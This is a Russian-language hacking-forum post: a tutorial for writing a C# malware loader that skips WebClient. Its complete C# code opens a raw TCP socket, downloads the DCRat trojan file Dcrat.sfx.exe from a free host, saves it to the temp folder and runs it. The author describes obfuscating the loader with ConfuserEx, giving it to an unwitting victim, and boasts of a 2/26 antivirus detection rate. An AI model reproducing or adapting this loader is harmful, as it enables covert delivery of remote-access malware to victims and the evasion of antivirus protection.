Загрузка...

Пишем лоадер http с своим велосипедом

Тема в разделе C# создана пользователем Dead__Artis 15 апр 2024. (поднята 5 июн 2024) 398 просмотров

Загрузка...
  1. Dead__Artis
    Dead__Artis Автор темы 15 апр 2024 921 30 май 2020
    Фри крипт: https://lolz.live/threads/7133100/

    И так всем хаюшки и отдельный привет тем кто так же как и я любит создавать велосипед заново и открывать америку по новой
    сегодня я напишу лоадер без использования WebClient и прочего
    лишь будем использовать ChatGPt потому что он умный и понимающий
    [IMG]
    и так разберемся что такое лоадер и нахера он нужен вообще
    лоадер это прога которая готова загрузить на ваш компьютер целую базу вирус тотала, запуская её вы обрекаете себя на вечные муки и вечные 100% нагрузки на cpu

    как же работает данная херабора
    наш доброжелательный джокер покупает либо регает бесплатный хостинг куда загружает Dcrat.sfx.exe
    затем вводит в лоадер ссылку на данный файл и компилирует попутно закидывая в confuzerex
    и идет выдавать готовый файл Валере с третьего В класса
    после запуска на Валерин пк скачивается файл нашего джокера Dcrat.sfx.exe и запускается
    хепи енд его уебал дефендер

    и так теперь без рофлов приступим
    для начала нам нужно знать как работает наш http протокол
    для получения файла нам надо создать Tcp соединение и отправить Get запрос (("GET /" + file + " HTTP/1.1\r\nHost: {url}\r\nConnection: Close\r\n\r\n") на наш хостинг с нашим Dcrat.sfx.exe
    после записать полученные byte[] в файл где то в недрах temp и запустить

    и так вот наш метод костыля который будет скачивать файл через http используя tcp Socket
    CSHARP
     public static byte[] WebClientByDeadArtis()
    {
    Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
    socket.Connect(host.Split(':')[0], Convert.ToInt32(host.Split(':')[1]));
    byte[] getRequestBytes = Encoding.ASCII.GetBytes("GET /" + file + " HTTP/1.1\r\nHost: {url}\r\nConnection: Close\r\n\r\n");
    NetworkStream stream = new NetworkStream(socket, true);
    stream.Write(getRequestBytes, 0, getRequestBytes.Length);
    byte[] responseBuffer = new byte[4096];
    StringBuilder responseBuilder = new StringBuilder();
    int bytesRead = 0;
    using (MemoryStream filestream = new MemoryStream())
    {
    do
    {
    bytesRead = stream.Read(responseBuffer, 0, responseBuffer.Length);
    if (responseBuilder.ToString().Contains("\r\n\r\n"))
    {
    filestream.Write(responseBuffer, 0, bytesRead);
    }
    else
    {
    responseBuilder.Append(Encoding.ASCII.GetString(responseBuffer, 0, bytesRead));
    }
    }
    while (bytesRead > 0);
    socket.Close();
    return filestream.ToArray();
    }
    }
    и так как работает данный зверь
    отправляет как выше писал запрос Get после чего читает 4096 байтов с пакета
    до момента пока не дойдет до \r\n\r\n это говорит о том что дальше будет идти тело то есть наш Dcrat.sfx.exe

    CSHARP
    public static string host = "joker.free.domain.000webhost.noads.ru:80";
    public static string file = "Dcrat.sfx.exe";
    static void Main(string[] args)
    {
    string pathTemp = Path.GetTempFileName() + ".exe";
    File.WriteAllBytes(pathTemp, WebClientByDeadArtis());
    Process.Start(pathTemp);
    }
    public static byte[] WebClientByDeadArtis()
    {
    Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
    socket.Connect(host.Split(':')[0], Convert.ToInt32(host.Split(':')[1]));
    byte[] getRequestBytes = Encoding.ASCII.GetBytes("GET /" + file + " HTTP/1.1\r\nHost: {url}\r\nConnection: Close\r\n\r\n");
    NetworkStream stream = new NetworkStream(socket, true);
    stream.Write(getRequestBytes, 0, getRequestBytes.Length);
    byte[] responseBuffer = new byte[4096];
    StringBuilder responseBuilder = new StringBuilder();
    int bytesRead = 0;
    using (MemoryStream filestream = new MemoryStream())
    {
    do
    {
    bytesRead = stream.Read(responseBuffer, 0, responseBuffer.Length);
    if (responseBuilder.ToString().Contains("\r\n\r\n"))
    {
    filestream.Write(responseBuffer, 0, bytesRead);
    }
    else
    {
    responseBuilder.Append(Encoding.ASCII.GetString(responseBuffer, 0, bytesRead));
    }
    }
    while (bytesRead > 0);
    socket.Close();
    return filestream.ToArray();
    }
    }
    дальнейший код думаю не нуждается в объяснений

    по детектам с обфой 2/26: http://avcheck.net/id/yYEchsYoHnge
    неплохо для костыля не правда ли ?
    #моястатья
     
    15 апр 2024 Изменено
Top